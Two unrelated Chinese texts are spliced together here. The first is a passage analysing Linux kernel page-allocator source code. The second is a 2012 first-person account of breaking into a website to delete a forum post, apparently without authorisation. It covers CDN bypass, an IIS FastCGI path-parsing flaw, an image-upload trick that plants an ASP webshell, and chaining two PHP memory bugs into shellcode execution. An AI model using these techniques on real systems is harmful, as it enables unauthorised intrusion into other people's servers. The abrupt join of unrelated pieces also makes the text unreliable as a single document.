/* Separate test+clear to avoid unnecessary atomics */
if (test_bit(ZONE_BOOSTED_WATERMARK, &zone->flags)) {
clear_bit(ZONE_BOOSTED_WATERMARK, &zone->flags);
wakeup_kswapd(zone, 0, 0, zone_idx(zone));
}
VM_BUG_ON_PAGE(page && bad_range(zone, page), page);
return page;
failed:
local_irq_restore(flags);
return NULL;
}
* * *
如果是分配单页，则执行`rmqueue_pcplist`：
/* Lock and remove page from the per-cpu list */
static struct page *rmqueue_pcplist(struct zone *preferred_zone,
struct zone *zone, gfp_t gfp_flags,
int migratetype, unsigned int alloc_flags)
{
struct per_cpu_pages *pcp;
struct list_head *list;
struct page *page;
unsigned long flags;
local_irq_save(flags);
pcp = &this_cpu_ptr(zone->pageset)->pcp;
list = &pcp->lists[migratetype];
page = __rmqueue_pcplist(zone, migratetype, alloc_flags, pcp, list);
if (page) {
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1);
zone_statistics(preferred_zone, zone);
}
local_irq_restore(flags);
return page;
}
该函数从`per_cpu_pageset`中分配单页，在0x01.2中介绍Zone时，其结构体含有一`pageset`字段：
struct zone {
......
struct per_cpu_pageset __percpu *pageset;
......
}
该结构体定义如下：
enum migratetype {
MIGRATE_UNMOVABLE,
MIGRATE_MOVABLE,
MIGRATE_RECLAIMABLE,
MIGRATE_PCPTYPES, /* the number of types on the pcp lists */
MIGRATE_HIGHATOMIC = MIGRATE_PCPTYPES,
#ifdef CONFIG_CMA
/*
* MIGRATE_CMA migration type is designed to mimic the way
* ZONE_MOVABLE works. Only movable pages can be allocated
* from MIGRATE_CMA pageblocks and page allocator never
* implicitly change migration type of MIGRATE_CMA pageblock.
*
* The way to use it is to change migratetype of a range of
* pageblocks to MIGRATE_CMA which can be done by
* __free_pageblock_cma() function. What is important though
* is that a range of pageblocks must be aligned to
* MAX_ORDER_NR_PAGES should biggest page be bigger then
* a single pageblock.
*/
MIGRATE_CMA,
#endif
#ifdef CONFIG_MEMORY_ISOLATION
MIGRATE_ISOLATE, /* can't allocate from here */
#endif
MIGRATE_TYPES
};
......
struct per_cpu_pages {
int count; /* number of pages in the list */
int high; /* high watermark, emptying needed */
int batch; /* chunk size for buddy add/remove */
/* Lists of pages, one per migrate type stored on the pcp-lists */
struct list_head lists[MIGRATE_PCPTYPES];
};
struct per_cpu_pageset {
struct per_cpu_pages pcp;
#ifdef CONFIG_NUMA
s8 expire;
u16 vm_numa_stat_diff[NR_VM_NUMA_STAT_ITEMS];
#endif
#ifdef CONFIG_SMP
s8 stat_threshold;
s8 vm_stat_diff[NR_VM_ZONE_STAT_ITEMS];
#endif
};
此函数核心功能由`__rmqueue_pcplist`实现：
/* Remove page from the per-cpu list, caller must protect the list */
static struct page *__rmqueue_pcplist(struct zone *zone, int migratetype,
unsigned int alloc_flags,
struct per_cpu_pages *pcp,
struct list_head *list)
{
struct page *page;
do {
if (list_empty(list)) {
pcp->count += rmqueue_bulk(zone, 0,
READ_ONCE(pcp->batch), list,
migratetype, alloc_flags);
if (unlikely(list_empty(list)))
return NULL;
}
page = list_first_entry(list, struct page, lru);
list_del(&page->lru);
pcp->count--;
} while (check_new_pcp(page));
return page;
}
首先判断`list`是否为空——如果为空，则调用`rmqueue_bulk`(该函数核心为`__rmqueue`，暂不作展开)分配Page；如果不为空，则分配一页。
* * *
如果`order`大于0，首先执行`__rmqueue_smallest`函数：
/*
* Go through the free lists for the given migratetype and remove
* the smallest available page from the freelists
*/
static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
int migratetype)
{
unsigned int current_order;
struct free_area *area;
struct page *page;
/* Find a page of the appropriate size in the preferred list */
for (current_order = order; current_order < MAX_ORDER; ++current_order) {
area = &(zone->free_area[current_order]);
page = get_page_from_free_area(area, migratetype);
if (!page)
continue;
del_page_from_free_list(page, zone, current_order);
expand(zone, page, order, current_order, migratetype);
set_pcppage_migratetype(page, migratetype);
return page;
}
return NULL;
}
`get_page_from_free_area`函数是对`list_first_entry_or_null`宏的包装(`MIGRATE_TYPES`定义已在上文给出，不再赘述)：
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};
static inline struct page *get_page_from_free_area(struct free_area *area,
int migratetype)
{
return list_first_entry_or_null(&area->free_list[migratetype],
struct page, lru);
}
`list_first_entry_or_null`宏同上文提及的`list_first_entry`一样，于`/include/linux/list.h`文件中定义：
/**
* list_entry - get the struct for this entry
* @ptr: the &struct list_head pointer.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*/
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
/**
* list_first_entry - get the first element from a list
* @ptr: the list head to take the element from.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*
* Note, that list is expected to be not empty.
*/
#define list_first_entry(ptr, type, member) \
list_entry((ptr)->next, type, member)
......
/**
* list_first_entry_or_null - get the first element from a list
* @ptr: the list head to take the element from.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*
* Note that if the list is empty, it returns NULL.
*/
#define list_first_entry_or_null(ptr, type, member) ({ \
struct list_head *head__ = (ptr); \
struct list_head *pos__ = READ_ONCE(head__->next); \
pos__ != head__ ? list_entry(pos__, type, member) : NULL; \
})
而`container_of`宏定义位于`/include/linux/kernel.h`文件
#define container_of(ptr, type, member) ({ \
void *__mptr = (void *)(ptr); \
BUILD_BUG_ON_MSG(!__same_type(*(ptr), ((type *)0)->member) && \
!__same_type(*(ptr), void), \
"pointer type mismatch in container_of()"); \
((type *)(__mptr - offsetof(type, member))); })
分配成功，将其从`free_area`中删除并减少`nr_free`计数：
static inline void del_page_from_free_list(struct page *page, struct zone *zone,
unsigned int order)
{
/* clear reported state and update reported page count */
if (page_reported(page))
__ClearPageReported(page);
list_del(&page->lru);
__ClearPageBuddy(page);
set_page_private(page, 0);
zone->free_area[order].nr_free--;
}
`list_del`宏展开如下：
/*
* Delete a list entry by making the prev/next entries
* point to each other.
*
* This is only for internal list manipulation where we know
* the prev/next entries already!
*/
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}
......
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
/**
* list_del - deletes entry from list.
* @entry: the element to delete from the list.
* Note: list_empty() on entry does not return true after this, the entry is
* in an undefined state.
*/
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
`set_page_private(page, 0)`函数将`page`的`private`字段设为0：
static inline void set_page_private(struct page *page, unsigned long private)
{
page->private = private;
}
假设我们要申请32(2^5=32)个连续Page块——`order`为5，而`free_area[5]`与`free_area[6]`中都没有这样的块，那么就
要从`free_area[7]`中申请。这时传递给`expand`函数的`low`与`high`参数分别为5与7：
static inline void expand(struct zone *zone, struct page *page,
int low, int high, int migratetype)
{
unsigned long size = 1 << high;
while (high > low) {
high--;
size >>= 1;
VM_BUG_ON_PAGE(bad_range(zone, &page[size]), &page[size]);
/*
* Mark as guard pages (or page), that will allow to
* merge back to allocator when buddy will be freed.
* Corresponding page table entries will not be touched,
* pages will stay not present in virtual address space
*/
if (set_page_guard(zone, &page[size], high, migratetype))
continue;
add_to_free_list(&page[size], zone, high, migratetype);
set_buddy_order(&page[size], high);
}
}
那么剩下96个连续Page块先分割出一64个连续Page块，后分割出一32个连续Page块，并将其分别插入对应`free_area`中：
static inline void set_buddy_order(struct page *page, unsigned int order)
{
set_page_private(page, order);
__SetPageBuddy(page);
}
......
/* Used for pages not on another list */
static inline void add_to_free_list(struct page *page, struct zone *zone,
unsigned int order, int migratetype)
{
struct free_area *area = &zone->free_area[order];
list_add(&page->lru, &area->free_list[migratetype]);
area->nr_free++;
}
`set_pcppage_migratetype`将`index`字段设置为迁移类型：
static inline void set_pcppage_migratetype(struct page *page, int migratetype)
{
page->index = migratetype;
}
* * *
`__rmqueue_smallest`分配失败则调用`__rmqueue`函数进行分配：
/*
* Do the hard work of removing an element from the buddy allocator.
* Call me with the zone->lock already held.
*/
static __always_inline struct page *
__rmqueue(struct zone *zone, unsigned int order, int migratetype,
unsigned int alloc_flags)
{
struct page *page;
if (IS_ENABLED(CONFIG_CMA)) {
/*
* Balance movable allocations between regular and CMA areas by
* allocating from CMA when over half of the zone's free memory
* is in the CMA area.
*/
if (alloc_flags & ALLOC_CMA &&
zone_page_state(zone, NR_FREE_CMA_PAGES) >
zone_page_state(zone, NR_FREE_PAGES) / 2) {
page = __rmqueue_cma_fallback(zone, order);
if (page)
goto out;
}
}
retry:
page = __rmqueue_smallest(zone, order, migratetype);
if (unlikely(!page)) {
if (alloc_flags & ALLOC_CMA)
page = __rmqueue_cma_fallback(zone, order);
if (!page && __rmqueue_fallback(zone, order, migratetype,
alloc_flags))
goto retry;
}
out:
if (page)
trace_mm_page_alloc_zone_locked(page, order, migratetype);
return page;
}
若未启用CONFIG_CMA选项，该函数会再次调用`__rmqueue_smallest`——分配成功则返回，分配失败调用`__rmqueue_fallback`，该函数从指定类型的备用类型中获取Page并移动到该类型freelist中：
/*
* Try finding a free buddy page on the fallback list and put it on the free
* list of requested migratetype, possibly along with other pages from the same
* block, depending on fragmentation avoidance heuristics. Returns true if
* fallback was found so that __rmqueue_smallest() can grab it.
*
* The use of signed ints for order and current_order is a deliberate
* deviation from the rest of this file, to make the for loop
* condition simpler.
*/
static __always_inline bool
__rmqueue_fallback(struct zone *zone, int order, int start_migratetype,
unsigned int alloc_flags)
{
struct free_area *area;
int current_order;
int min_order = order;
struct page *page;
int fallback_mt;
bool can_steal;
/*
* Do not steal pages from freelists belonging to other pageblocks
* i.e. orders < pageblock_order. If there are no local zones free,
* the zonelists will be reiterated without ALLOC_NOFRAGMENT.
*/
if (alloc_flags & ALLOC_NOFRAGMENT)
min_order = pageblock_order;
/*
* Find the largest available free page in the other list. This roughly
* approximates finding the pageblock with the most free pages, which
* would be too costly to do exactly.
*/
for (current_order = MAX_ORDER - 1; current_order >= min_order;
--current_order) {
area = &(zone->free_area[current_order]);
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt == -1)
continue;
/*
* We cannot steal all free pages from the pageblock and the
* requested migratetype is movable. In that case it's better to
* steal and split the smallest available page instead of the
* largest available page, because even if the next movable
* allocation falls back into a different pageblock than this
* one, it won't cause permanent fragmentation.
*/
if (!can_steal && start_migratetype == MIGRATE_MOVABLE
&& current_order > order)
goto find_smallest;
goto do_steal;
}
return false;
find_smallest:
for (current_order = order; current_order < MAX_ORDER;
current_order++) {
area = &(zone->free_area[current_order]);
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt != -1)
break;
}
/*
* This should not happen - we already found a suitable fallback
* when looking for the largest page.
*/
VM_BUG_ON(current_order == MAX_ORDER);
do_steal:
page = get_page_from_free_area(area, fallback_mt);
steal_suitable_fallback(zone, page, alloc_flags, start_migratetype,
can_steal);
trace_mm_page_alloc_extfrag(page, order, current_order,
start_migratetype, fallback_mt);
return true;
}
从`MAX_ORDER - 1`开始到`min_order`循环调用`find_suitable_fallback`：
/*
* Check whether there is a suitable fallback freepage with requested order.
* If only_stealable is true, this function returns fallback_mt only if
* we can steal other freepages all together. This would help to reduce
* fragmentation due to mixed migratetype pages in one pageblock.
*/
int find_suitable_fallback(struct free_area *area, unsigned int order,
int migratetype, bool only_stealable, bool *can_steal)
{
int i;
int fallback_mt;
if (area->nr_free == 0)
return -1;
*can_steal = false;
for (i = 0;; i++) {
fallback_mt = fallbacks[migratetype][i];
if (fallback_mt == MIGRATE_TYPES)
break;
if (free_area_empty(area, fallback_mt))
continue;
if (can_steal_fallback(order, migratetype))
*can_steal = true;
if (!only_stealable)
return fallback_mt;
if (*can_steal)
return fallback_mt;
}
return -1;
}
首先检查该区域内是否存在可用Page，若不为0则进入循环。`fallbacks`数组定义了各类型可使用的备用类型，以`MIGRATE_TYPES`作为结束：
/*
* This array describes the order lists are fallen back to when
* the free lists for the desirable migrate type are depleted
*/
static int fallbacks[MIGRATE_TYPES][3] = {
[MIGRATE_UNMOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
[MIGRATE_MOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE, MIGRATE_TYPES },
[MIGRATE_RECLAIMABLE] = { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
#ifdef CONFIG_CMA
[MIGRATE_CMA] = { MIGRATE_TYPES }, /* Never used */
#endif
#ifdef CONFIG_MEMORY_ISOLATION
[MIGRATE_ISOLATE] = { MIGRATE_TYPES }, /* Never used */
#endif
};
`free_area_empty`检查备用类型是否为空，为空则进入下一备用类型。`can_steal_fallback`判断是否可以Steal：
static bool can_steal_fallback(unsigned int order, int start_mt)
{
/*
* Leaving this order check is intended, although there is
* relaxed order check in next check. The reason is that
* we can actually steal whole pageblock if this condition met,
* but, below check doesn't guarantee it and that is just heuristic
* so could be changed anytime.
*/
if (order >= pageblock_order)
return true;
if (order >= pageblock_order / 2 ||
start_mt == MIGRATE_RECLAIMABLE ||
start_mt == MIGRATE_UNMOVABLE ||
page_group_by_mobility_disabled)
return true;
return false;
}
如果从备用类型中找到可以Steal的Page，先执行`get_page_from_free_area`，之后执行`steal_suitable_fallback`函数：
/*
* This function implements actual steal behaviour. If order is large enough,
* we can steal whole pageblock. If not, we first move freepages in this
* pageblock to our migratetype and determine how many already-allocated pages
* are there in the pageblock with a compatible migratetype. If at least half
* of pages are free or compatible, we can change migratetype of the pageblock
* itself, so pages freed in the future will be put on the correct free list.
*/
static void steal_suitable_fallback(struct zone *zone, struct page *page,
unsigned int alloc_flags, int start_type, bool whole_block)
{
unsigned int current_order = buddy_order(page);
int free_pages, movable_pages, alike_pages;
int old_block_type;
old_block_type = get_pageblock_migratetype(page);
/*
* This can happen due to races and we want to prevent broken
* highatomic accounting.
*/
if (is_migrate_highatomic(old_block_type))
goto single_page;
/* Take ownership for orders >= pageblock_order */
if (current_order >= pageblock_order) {
change_pageblock_range(page, current_order, start_type);
goto single_page;
}
/*
* Boost watermarks to increase reclaim pressure to reduce the
* likelihood of future fallbacks. Wake kswapd now as the node
* may be balanced overall and kswapd will not wake naturally.
*/
if (boost_watermark(zone) && (alloc_flags & ALLOC_KSWAPD))
set_bit(ZONE_BOOSTED_WATERMARK, &zone->flags);
/* We are not allowed to try stealing from the whole block */
if (!whole_block)
goto single_page;
free_pages = move_freepages_block(zone, page, start_type,
&movable_pages);
/*
* Determine how many pages are compatible with our allocation.
* For movable allocation, it's the number of movable pages which
* we just obtained. For other types it's a bit more tricky.
*/
if (start_type == MIGRATE_MOVABLE) {
alike_pages = movable_pages;
} else {
/*
* If we are falling back a RECLAIMABLE or UNMOVABLE allocation
* to MOVABLE pageblock, consider all non-movable pages as
* compatible. If it's UNMOVABLE falling back to RECLAIMABLE or
* vice versa, be conservative since we can't distinguish the
* exact migratetype of non-movable pages.
*/
if (old_block_type == MIGRATE_MOVABLE)
alike_pages = pageblock_nr_pages
- (free_pages + movable_pages);
else
alike_pages = 0;
}
/* moving whole block can fail due to zone boundary conditions */
if (!free_pages)
goto single_page;
/*
* If a sufficient number of pages in the block are either free or of
* comparable migratability as our allocation, claim the whole block.
*/
if (free_pages + alike_pages >= (1 << (pageblock_order-1)) ||
page_group_by_mobility_disabled)
set_pageblock_migratetype(page, start_type);
return;
single_page:
move_to_free_list(page, zone, current_order, start_type);
}
该函数会检查是否移动单页，如果是直接调用`move_to_free_list`：
static inline void move_to_free_list(struct page *page, struct zone *zone,
unsigned int order, int migratetype)
{
struct free_area *area = &zone->free_area[order];
list_move_tail(&page->lru, &area->free_list[migratetype]);
}
`list_move_tail`相关定义如下：
/*
* Insert a new entry between two known consecutive entries.
*
* This is only for internal list manipulation where we know
* the prev/next entries already!
*/
static inline void __list_add(struct list_head *new,
struct list_head *prev,
struct list_head *next)
{
if (!__list_add_valid(new, prev, next))
return;
next->prev = new;
new->next = next;
new->prev = prev;
WRITE_ONCE(prev->next, new);
}
......
/**
* list_add_tail - add a new entry
* @new: new entry to be added
* @head: list head to add it before
*
* Insert a new entry before the specified head.
* This is useful for implementing queues.
*/
static inline void list_add_tail(struct list_head *new, struct list_head *head)
{
__list_add(new, head->prev, head);
}
......
/**
* list_move_tail - delete from one list and add as another's tail
* @list: the entry to move
* @head: the head that will follow our entry
*/
static inline void list_move_tail(struct list_head *list,
struct list_head *head)
{
__list_del_entry(list);
list_add_tail(list, head);
}
如果是移动Block，则调用`move_freepages_block`：
int move_freepages_block(struct zone *zone, struct page *page,
int migratetype, int *num_movable)
{
unsigned long start_pfn, end_pfn;
struct page *start_page, *end_page;
if (num_movable)
*num_movable = 0;
start_pfn = page_to_pfn(page);
start_pfn = start_pfn & ~(pageblock_nr_pages-1);
start_page = pfn_to_page(start_pfn);
end_page = start_page + pageblock_nr_pages - 1;
end_pfn = start_pfn + pageblock_nr_pages - 1;
/* Do not cross zone boundaries */
if (!zone_spans_pfn(zone, start_pfn))
start_page = page;
if (!zone_spans_pfn(zone, end_pfn))
return 0;
return move_freepages(zone, start_page, end_page, migratetype,
num_movable);
}
该函数计算完起始与终止Page，PFN之后，调用`move_freepages`函数进行移动：
/*
* Move the free pages in a range to the freelist tail of the requested type.
* Note that start_page and end_pages are not aligned on a pageblock
* boundary. If alignment is required, use move_freepages_block()
*/
static int move_freepages(struct zone *zone,
struct page *start_page, struct page *end_page,
int migratetype, int *num_movable)
{
struct page *page;
unsigned int order;
int pages_moved = 0;
for (page = start_page; page <= end_page;) {
if (!pfn_valid_within(page_to_pfn(page))) {
page++;
continue;
}
if (!PageBuddy(page)) {
/*
* We assume that pages that could be isolated for
* migration are movable. But we don't actually try
* isolating, as that would be expensive.
*/
if (num_movable &&
(PageLRU(page) || __PageMovable(page)))
(*num_movable)++;
page++;
continue;
}
/* Make sure we are not inadvertently changing nodes */
VM_BUG_ON_PAGE(page_to_nid(page) != zone_to_nid(zone), page);
VM_BUG_ON_PAGE(page_zone(page) != zone, page);
order = buddy_order(page);
move_to_free_list(page, zone, order, migratetype);
page += 1 << order;
pages_moved += 1 << order;
}
return pages_moved;
}
综上，`__rmqueue_fallback`返回True以后会再次执行`__rmqueue_smallest`进行分配。
>
> 至此，本文已分析完伙伴系统fastpath部分——get_page_from_freelist函数，后续文章会继续分析__alloc_pages_slowpath，free_pages等函数及Slab分配器。
## 参阅链接
1. [Linux内核（5.4.81）——内存管理模块源码分析](https://www.anquanke.com/post/id/228651)
2. [Linux内核5.13版本内存管理模块源码分析](https://bbs.pediy.com/thread-269149.htm)
3. [Translation lookaside buffer](https://en.wikipedia.org/wiki/Translation_lookaside_buffer)
4. [Linux内核高端内存](https://ilinuxkernel.com/?p=1013)
5. [Linux物理内存页面分配](http://abcdxyzk.github.io/download/kernel/Linux_Physical_Memory_Page_Allocation.pdf)
6. [gfp_mask转换成对应的zone和migratetype](https://blog.csdn.net/bin_linux96/article/details/83348753)
7. [Linux内存管理笔记(二十）————zonelist初始化](https://blog.csdn.net/u012489236/article/details/106729974)
8. [Linux中的物理内存管理 [二]](https://zhuanlan.zhihu.com/p/68473428)
9. [Linux Kernel vs. Memory Fragmentation (Part I)](https://en.pingcap.com/blog/linux-kernel-vs-memory-fragmentation-1)
10. [描述系统上cpu和memory的状态:node_states](http://linux.laoqinren.net/kernel/node_states/)
11. [Linux内存子系统——分配物理页面（alloc_pages）](https://blog.csdn.net/weixin_42262944/article/details/119853846)
12. **[Linux内存管理(六): 分配物理内存alloc_pages](https://blog.csdn.net/yhb1047818384/article/details/112298996)**
13. [从备用类型中steal page](https://blog.csdn.net/longwang155069/article/details/105595763) | 社区文章 |
Author:kyo327
日期:2012-01-12
### 0×00 前言
随着互联网的迅速发展，越来越多的应用都转向B/S结构，因为它是跨平台的、易操作的、方便的、迅速的，这样不论用户使用什么样的操作系统，仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务，特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现，比如sql注入、XSS、上传漏洞、弱口令、目录遍历等，虽然早在数十年前就被发现这些漏洞产生的根本原因，可它们却始终都没有退出历史的舞台，依然是WEB应用程序主要的安全问题。当然很多企业也开始越来越重视安全，但是仅仅依靠买网络安全产品、买防火墙之类是不能完全解决问题的。现在的企业安全最大问题就是不重视网络安全人才，导致搞安全的薪水不如挖煤窑的，或者纯粹的依靠安全产品代替网络安全人才。产品毕竟也是人写的，并且具有时效性，出了0day后，死的产品能立即做出安全措施吗？动辄就看见招聘做内核驱动的程序员年薪20万以上，这种状况让搞安全的情何以堪。并且搞安全也需要学习底层编程、C语言、perl、python、php、asp、.net、java、c++、调试漏洞、配置各种各样的web环境、熟练掌握od、ida、softice、windbg、软件破解、社工等等只要是跟互联网有一点关系都是必修之课，最关键还要时刻的学习新东西，要跟得上互联网的发展，否则就会被淘汰，有这么多的要求，我们容易吗？
我先感慨一下，在做网络安全这些年感觉一直在漂，从05年刚到北京的远东到08年的大连，再到09年的盛大，11年的启明，没有一个地方能让人感到是在踏实的做安全，对网络安全人才这块也都不重视。从圈内群的好友里得知，有很多技术水平很不错的朋友都闲置在家，为什么？我感觉国内的大环境都是这样的，所以出现了2011年底的各大网站密码泄露事件。我认为，泄露的那些库也只是九牛之一毛。在这个拿网络安全人才当民工的时代，也许这个事件算是给那些高傲的、高薪的程序员上的一堂课吧。
言归正传。因为快要当爸爸了，我终于离开了北京，在家闲着这段时间受一朋友之托要在某一个网站帮忙删一个帖子，于是开始了这次漫长的渗透之旅。
### 0×01初期的探索
在拿到目标www.111.com 后，前期的侦查工作一定是要做充分的。我喜欢先从网站程序入手，这样如果找到突破口就可以迅速拿下。
通过初期的网站文件暴力猜解，扫描到robots.txt这个文件，有以下目录。如图1：
图1
再通过对这些文件的访问，从3gadm.php文件的标题栏得到该网站采用的是diy-page8.3的cms，自然可以先用搜索引擎搜索该cms暴露的已知漏洞入手。我搜到的大概有三个版本别人分析的结果：一个是子仪的盲注exp，还有两个是来自t00ls的。由于该网站服务器安装有WEB防火墙，导致同一个IP不能多次连续的提交get或post请求，否则就被认为是非法的。这样一来盲注那个exp也就一直没有成功，而我测试使用t00ls小蟑螂那个exp时，在本机自己搭建环境的最新版本是成功的，但是目标仍然失败，我考虑也许是目标版本较低的原因。
由于后台文件admin.php被改名，同时也在进行着网站后台文件的暴力猜解中。不过也许我的字典文件不够大也不够好，结果很令人失望。并且该网站做了禁止普通用户注册、禁止普通用户登陆的安全措施，这样连传图片的权利也给封杀了。
再看他的论坛，毕竟要删的帖子是在论坛上的，但他使用的是最新版的
discuz! X2，因为我测试了2011年7月份那个漏洞不好使。
到这里该目标的网站程序方面大概有了些了解，但有用的信息不是很多。接着我用nmap扫描了web服务器的端口情况，只开了80，也许其他端口被防火墙K掉了吧。通过经验访问一个不存在目录，服务器返回如图2：
图2
从图2看出，貌似是iis7.0或iis7.5，再用iiswrite.exe对网站发送一个head包，返回 Server: Microsoft-IIS/7.5，这样的话大概能确定该网站服务器操作系统应该是windows2008.
通过上面的分析，没有找到什么突破口，接下来大家都能想到，可以扫描一下他web服务器上都有哪些网站，从该服务器上的其他网站入手是大家一贯的手法，我也就不多说了。只是我是个苦命人啊，再次遇到cdn，无法简单的判断网站的真实IP。
关于cdn我在这里用简单的几句话科普一下，用户在自己的[浏览器](http://baike.baidu.com/view/7718.htm)中输入要访问的网站的域名，网站主dns选择比较近的cdn服务商节点，并把请求的内容缓存到cdn节点服务器，再把cdn节点服务器ip返回给用户，最后用户再向给定的cdn接点请求网站内容。
我测试使用不同地区的vpn去ping网站域名，发现ip都不一样，后来通过google搜索他网站的相关帖子，发现有另外一个域名www.222.com
显示相同的内容。再次用此域名进行旁注域名查询，总算有了真实的结果，如图3：
图3
但令人悲催的是，这几个域名最终全都指向了主网站和论坛。
### 0×02看到一点希望
由于[www.222.com](http://www.222.com)是直接指向论坛，而[www.111.com](http://www.111.com)指向cms,可以判断两个网站应该是不同的虚拟目录。于是我用自己写的扫描器对[www.222.com进行了网站文件暴力猜解如图4](http://www.222.com进行了网站文件暴力猜解如图4)：
图4
从图4中看到，总算有个信息泄露的问题了。
打开phpinfo.php得到如图5：
图5
从图5我得到了，目标操作系统是windows2008,php运行方式FASTCGI,PHP版本5.2.17，还有网站物理路径等等，让我眼前一亮的是iis7.5+FASTCGI在默认情况下，IIS处理请求的时候可能导致如nginx安全漏洞一样的问题，任何用户可以远程将任何类型的文件以PHP的方式去解析。
我马上找到一个该网站某个图片链接地址进行类似这样的请求：<http://www.222.com/images/aaa.gif/kyo.php>
,没有返回404，并且返回的http头状态码是200，这时我基本肯定了该漏洞的存在。我记得给好友小龙猪看过一眼，他说了一句话：这个站死定了。我也深信这一点,但我没想到后面的过程竟是如此艰难。
随后我带着喜悦的心情，迅速的在该论坛注册了账户，并急切的上传那个带着一句话php木马的美女图片，但结果仍然是令人沮丧的，论坛设置了所有附件传到另外一个文件服务器上，而那个文件服务器是windows2003，没有类似的bug，并且和目标不在一个C段。可这个漏洞却很诱人的，我还考虑到论坛显示帖子是html文件类型的，如果能在显示帖子的html里写入`<?php
phpinfo();?>`倒也是可以利用的，只是<>总是被过滤为< >，主站的cms又禁止登陆，cms后台文件也无法找到，看来只能再换换别的思路了。
### 0×03从二级域名入手
每个做网络安全的应该都了解，在网络上每个人享受各种服务，上论坛，听音乐，网上支付，购物等等。最重要的就是自己的密码，而账号大多都是公开的，只要我们拥有目标的常用密码，就可以尝试他的其他网站的登录验证，因此我开始了从二级域名入手的打算，拿下后至少可以得到他的常用密码之一。
通过他本网站的链接和二级域名爆破查询工具，再加上自己的分析，我得到了target比较主要的一个二级域名为:a.111.com，仍然是一个比较成熟的、没有任何已知漏洞的cms的博客程序，值得庆幸的是，这个二级域名所在的服务器倒有十几个其他的网站，应该是虚拟主机，操作系统是win2003，同时支持php和asp.
我首先瞄上了一个站是：[www.aaa.com](http://www.aaa.com) ,很轻松的扫描出他后台管理文件为：
<http://www.aaa.com/admin/admin_index.php>
直接把url在浏览器浏览发现他没有做严密的验证，后台一部分功能是可以使用的，如图6
图6
并且后台使用了FCKeditor，是最新版本，测试了这个编辑器的漏洞集合后无果，只能把希望寄托在图6的上传图片那里是否有问题了。这次还算顺利，我在vmware的winxp系统用WSockExpert.exe抓了一下上传的包，在一句话asp木马里添加下gif89a头，再在包的这里改为：
Content-Disposition: form-data; name="article_img"; filename="C:\aa.asp .gif"
用nc提交后即得到名为120107005538_53.asp的上传文件，也就拿到其webshell。如图7：
图7
其实这里上传的时候，web防火墙也拦了好几次，几乎杀了我95%的小马，最后只能请出独门暗器才躲过这bt的防火墙。后来才知道该虚拟主机使用的组合是【星外+护卫神.入侵防护专家】。
拿到[www.aaa.com](http://www.aaa.com)
的webshell后，自然是想跨目录到a.111.com。而最新的星外+护卫神的确很有效，删除了wscript.shell、shellapplication等扩展，还不支持aspx，没有任何运行命令的可能。
### 0×04 调试php漏洞
我用phpinfo看了下[www.aaa.com的web](http://www.aaa.com的web)
服务器的php版本是5.2.9-2。版本不高，我印象里php5.2.13以下的版本出过好几个漏洞，其中【PHP hash_update_file()
Already Freed Resource Access
Vulnerability】是比较著名的。于是我放下该站的webshell，找到这个漏洞公告和poc，准备调试一下这个漏洞，用它去执行命令，进而提升权限。
公告地址为：
<http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html>
我在vmware_winxp的apache+php环境里，用windbg附加进程httpd.exe,然后在浏览器打开这个漏洞的poc，发生异常，如图8：
图8
由图8可以看到发生问题的模块是php5ts.dll,发生问题的函数是php_hash_register.在这个函数偏移0x2bf处发生了异常。
显然php5ts.dll是php的核心解析器，php所有的功能都包含在它里面，不论什么操作系统运行php都少不了要加载它。从这里可以看出这个漏洞危害的范围很广，是跨平台的。至于漏洞发生的原因就不在这里调试叙述了。
现在看发生异常的位置是：
00a74fef ff5204 call dword ptr [edx+4] ds:0023:55555559=????????
Eip为0x00a74fef的地方，而poc第一句代码就是define("OFFSET",
pack("L",0x55555555));把这个地址装入一个二进制串中。再看异常发生时的寄存器环境如图8中的edx=0x55555555，后来再通过调试确定开始的第一句代码的地址就是控制的edx寄存器。那么只要能在edx+4指向的地址装入精心构造的shellcode，就可以顺利溢出了。
后来和2yue聊天时告诉我，他发现了一种把另一个 php漏洞【PHP addcslashes() Interruption Information Leak
Vulnerability】和这个漏洞结合起来利用的方法。后来我也证实了这个结果。以下是2yue的调试结果，我在这里和大家分享，希望他不介意。
“PHP addcslashes()信息泄露漏洞，他可以读出内存空间中的信息，在读出的信息中
，从偏移0x10开始，保存了一个指针，而在该指针偏移0x20开始保存我们控制的变量的值。”
这样的话我们就可以用PHP
addcslashes()漏洞找到放置shellcode的地址，再找到某个变量A的地址，在变量A的地方存放shellcode的地址，那么call
[edx+4]就可以执行shellcode了。把那两个poc结合起来，最后那个hexdump()函数改成我们自己的找到偏移0x10指向的0x20的地址的函数，好像很绕口。
其实是很简单的一个功能，直接附上2yue写的这个函数。
function hexdump($x)
{
$ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);
$ret_long = $ret_long + 0x20;
return $ret_long;
}
只是里面的细节还需要调一调：例如要生成纯字母数字的shellcode，edx+4那个地方调一下等等，然后就可以用
metasploit生成我们想要的纯字母数字的shellcode了。
我在本机测试成功，如图9，当然还是要感谢2yue。
图9
